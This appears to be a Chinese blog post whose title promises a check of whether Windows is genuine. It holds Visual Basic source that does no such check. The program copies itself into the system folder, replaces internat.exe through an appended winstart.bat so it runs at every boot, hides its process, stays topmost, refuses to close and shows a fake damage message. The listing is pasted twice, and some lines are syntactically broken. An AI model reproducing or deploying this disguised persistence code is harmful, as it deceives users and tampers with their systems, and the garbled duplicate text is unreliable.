判断WINDOWS是正版还是盗版
2008-05-01 05:30
351 查看
Option Explicit
'进程控制
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Const RSP_SIMPLE_SERVICE = 1
Const RSP_UNREGISTER_SERVICE = 0
'退出WINDOWS
Private Declare Function ExitWINDOWSEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4
Const WM_SYSCOMMAND = &H112&
Const SC_SCREENSAVE = &HF140&
'窗体总在最前
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Const HWND_TOPMOST = -1
'连接
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1
Const URL = "http://www.microsoft.com"
'查找系统目录
Private Declare Function GetWINDOWSDirectory Lib "kernel32" Alias "GetWINDOWSDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Const MAX_PATH = 260
Dim ExitButton As Boolean
'取得WINDOWS目录
Function GetWinPath()
Dim strFolder As String
Dim lngResult As Long
strFolder = String(MAX_PATH, 0)
lngResult = GetWINDOWSDirectory(strFolder, MAX_PATH)
If lngResult <> 0 Then
GetWinPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
Else
GetWinPath = ""
End If
End Function
'取得system目录
Function GetSystemPath()
Dim strFolder As String
Dim lngResult As Long
strFolder = String(MAX_PATH, 0)
lngResult = GetSystemDirectory(strFolder, MAX_PATH)
If lngResult <> 0 Then
GetSystemPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
Else
GetSystemPath = ""
End If
End Function
'文件是否存在
Function FileExists(filename As String) As Integer
Dim i As Integer
On Error Resume Next
i = Len(Dir$(filename))
If Err Or i = 0 Then FileExists = False Else FileExists = True
End Function
'隐藏进程
Public Sub RemoveProgramFromList()
Dim lngProcessID As Long
Dim lngReturn As Long
Dim pid As Long
lngProcessID = GetCurrentProcessId()
lngReturn = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub
'打开浏览器
Public Sub gotoweb()
Dim Success As Long
Success = ShellExecute(0&, vbNullString, URL, vbNullString, "C:", SW_SHOWNORMAL)
End Sub
'连入网站
Private Sub cmdBuy_Click()
gotoweb
End Sub
'重新启动
Private Sub cmdReset_Click()
Dim lresult
lresult = ExitWINDOWSEx(EWX_REBOOT, 0&)
End Sub
Private Sub Form_Load()
On Error Resume Next
Dim Path As String
Dim SourceFile, DestinationFile
Path = App.Path
If Right(Path, 1) <> "" Then Path = Path & ""
If App.PrevInstance Then End
If FileExists(GetSystemPath & "intarnet.dll.exe") = 0 Then
'备份internat.exe文件
SourceFile = GetSystemPath & "internat.exe"
DestinationFile = GetSystemPath & "intarnet.dll.exe"
FileCopy SourceFile, DestinationFile
'复制自己
SourceFile = Path & App.EXEName & ".EXE"
DestinationFile = GetSystemPath & "so.dll.exe"
FileCopy SourceFile, DestinationFile
'改写winstart.bat文件
Open GetWinPath & "winstart.bat" For Append As #1
Print #1, "@echo off"
Print #1, "copy " & GetSystemPath & "so.dll.exe " & GetSystemPath & "internat.exe /y >nul"
Print #1, "del " & GetWinPath & "winstart.bat"
Close #1
End If
'检查文件是否在系统目录执行
If App.Path <> GetSystemPath Then
MsgBox "程序代码不完整或系统出现错误,文件已被破坏。", vbInformation
End
End If
RemoveProgramFromList
SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX, Me.Top Screen.TwipsPerPixelY, Me.Width Screen.TwipsPerPixelX, Me.Height Screen.TwipsPerPixelY, 0
Shell (GetSystemPath & "intarnet.dll.exe")
End Sub
Private Sub Form_Resize()
'程序被最小化时返回初始状态
If Me.WINDOWState = 1 Then Me.WINDOWState = 0
End Sub
Private Sub Form_Unload(Cancel As Integer)
'禁止程序退出
If Not ExitButton Then Cancel = True
End Sub
'删除程序
Private Sub lblUninstall_DblClick()
Open GetWinPath & "winstart.bat" For Append As #1
Print #1, "@echo off"
Print #1, "copy " & GetSystemPath & "intarnet.dll.exe " & GetSystemPath & "internat.exe /y >nul"
Print #1, "del " & GetSystemPath & "intarnet.dll.exe"
Print #1, "del " & GetSystemPath & "so.dll.exe"
Print #1, "del " & GetWinPath & "winstart.bat"
Close #1
MsgBox "您使用的系统可能是正版。:-)", vbInformation
End
End Sub
'进程控制
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Const RSP_SIMPLE_SERVICE = 1
Const RSP_UNREGISTER_SERVICE = 0
'退出WINDOWS
Private Declare Function ExitWINDOWSEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4
Const WM_SYSCOMMAND = &H112&
Const SC_SCREENSAVE = &HF140&
'窗体总在最前
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Const HWND_TOPMOST = -1
'连接
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1
Const URL = "http://www.microsoft.com"
'查找系统目录
Private Declare Function GetWINDOWSDirectory Lib "kernel32" Alias "GetWINDOWSDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Const MAX_PATH = 260
Dim ExitButton As Boolean
'取得WINDOWS目录
Function GetWinPath()
Dim strFolder As String
Dim lngResult As Long
strFolder = String(MAX_PATH, 0)
lngResult = GetWINDOWSDirectory(strFolder, MAX_PATH)
If lngResult <> 0 Then
GetWinPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
Else
GetWinPath = ""
End If
End Function
'取得system目录
Function GetSystemPath()
Dim strFolder As String
Dim lngResult As Long
strFolder = String(MAX_PATH, 0)
lngResult = GetSystemDirectory(strFolder, MAX_PATH)
If lngResult <> 0 Then
GetSystemPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
Else
GetSystemPath = ""
End If
End Function
'文件是否存在
Function FileExists(filename As String) As Integer
Dim i As Integer
On Error Resume Next
i = Len(Dir$(filename))
If Err Or i = 0 Then FileExists = False Else FileExists = True
End Function
'隐藏进程
Public Sub RemoveProgramFromList()
Dim lngProcessID As Long
Dim lngReturn As Long
Dim pid As Long
lngProcessID = GetCurrentProcessId()
lngReturn = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub
'打开浏览器
Public Sub gotoweb()
Dim Success As Long
Success = ShellExecute(0&, vbNullString, URL, vbNullString, "C:", SW_SHOWNORMAL)
End Sub
'连入网站
Private Sub cmdBuy_Click()
gotoweb
End Sub
'重新启动
Private Sub cmdReset_Click()
Dim lresult
lresult = ExitWINDOWSEx(EWX_REBOOT, 0&)
End Sub
Private Sub Form_Load()
On Error Resume Next
Dim Path As String
Dim SourceFile, DestinationFile
Path = App.Path
If Right(Path, 1) <> "" Then Path = Path & ""
If App.PrevInstance Then End
If FileExists(GetSystemPath & "intarnet.dll.exe") = 0 Then
'备份internat.exe文件
SourceFile = GetSystemPath & "internat.exe"
DestinationFile = GetSystemPath & "intarnet.dll.exe"
FileCopy SourceFile, DestinationFile
'复制自己
SourceFile = Path & App.EXEName & ".EXE"
DestinationFile = GetSystemPath & "so.dll.exe"
FileCopy SourceFile, DestinationFile
'改写winstart.bat文件
Open GetWinPath & "winstart.bat" For Append As #1
Print #1, "@echo off"
Print #1, "copy " & GetSystemPath & "so.dll.exe " & GetSystemPath & "internat.exe /y >nul"
Print #1, "del " & GetWinPath & "winstart.bat"
Close #1
End If
'检查文件是否在系统目录执行
If App.Path <> GetSystemPath Then
MsgBox "程序代码不完整或系统出现错误,文件已被破坏。", vbInformation
End
End If
RemoveProgramFromList
SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX, Me.Top Screen.TwipsPerPixelY, Me.Width Screen.TwipsPerPixelX, Me.Height Screen.TwipsPerPixelY, 0
Shell (GetSystemPath & "intarnet.dll.exe")
End Sub
Private Sub Form_Resize()
'程序被最小化时返回初始状态
If Me.WINDOWState = 1 Then Me.WINDOWState = 0
End Sub
Private Sub Form_Unload(Cancel As Integer)
'禁止程序退出
If Not ExitButton Then Cancel = True
End Sub
'删除程序
Private Sub lblUninstall_DblClick()
Open GetWinPath & "winstart.bat" For Append As #1
Print #1, "@echo off"
Print #1, "copy " & GetSystemPath & "intarnet.dll.exe " & GetSystemPath & "internat.exe /y >nul"
Print #1, "del " & GetSystemPath & "intarnet.dll.exe"
Print #1, "del " & GetSystemPath & "so.dll.exe"
Print #1, "del " & GetWinPath & "winstart.bat"
Close #1
MsgBox "您使用的系统可能是正版。:-)", vbInformation
End
End Sub
相关文章推荐
- 辨断你的Windows是正版还是盗版
- Java判断OS是linux还是windows
- java判断运行环境是linux还是windows
- 反盗版补丁&安装了windows genuine Advantage后系统提示让购买正版许可证该怎么办
- c判断windows的系统是32位还是64位
- php如何判断当前的操作系统是linux还是windows
- 正版和盗版Windows的区别?在VMWare里?
- java程序判断操作系统是Windows还是Linux
- VS判断windows动态链接库是x86还是x64(以vs2015为例)
- HOW TO:判断主程序是Windows应用程序还是控制台应用程序
- 盗版Windows能升级win10吗?能但升完还是盗版
- C、C++判断操作系统是Linux、windows还是Unix
- java 如何判断操作系统是Linux还是Windows
- [Windows编程] 如何判断操作系统是64位还是32位
- LINUX和windows下如何判断CPU和系统是32位还是64位
- 程序判断Windows系统是32bit还是64bit
- C#判断程序是由Windows服务启动还是用户启动
- 【Windows编程】如何判断操作系统是64位还是32位
- 搜索一个问题 C、C++判断操作系统 是 Linux还是windows 还是Unix【编译器内置宏 探索(不是特别满意)】
- java 如何判断操作系统是Linux还是Windows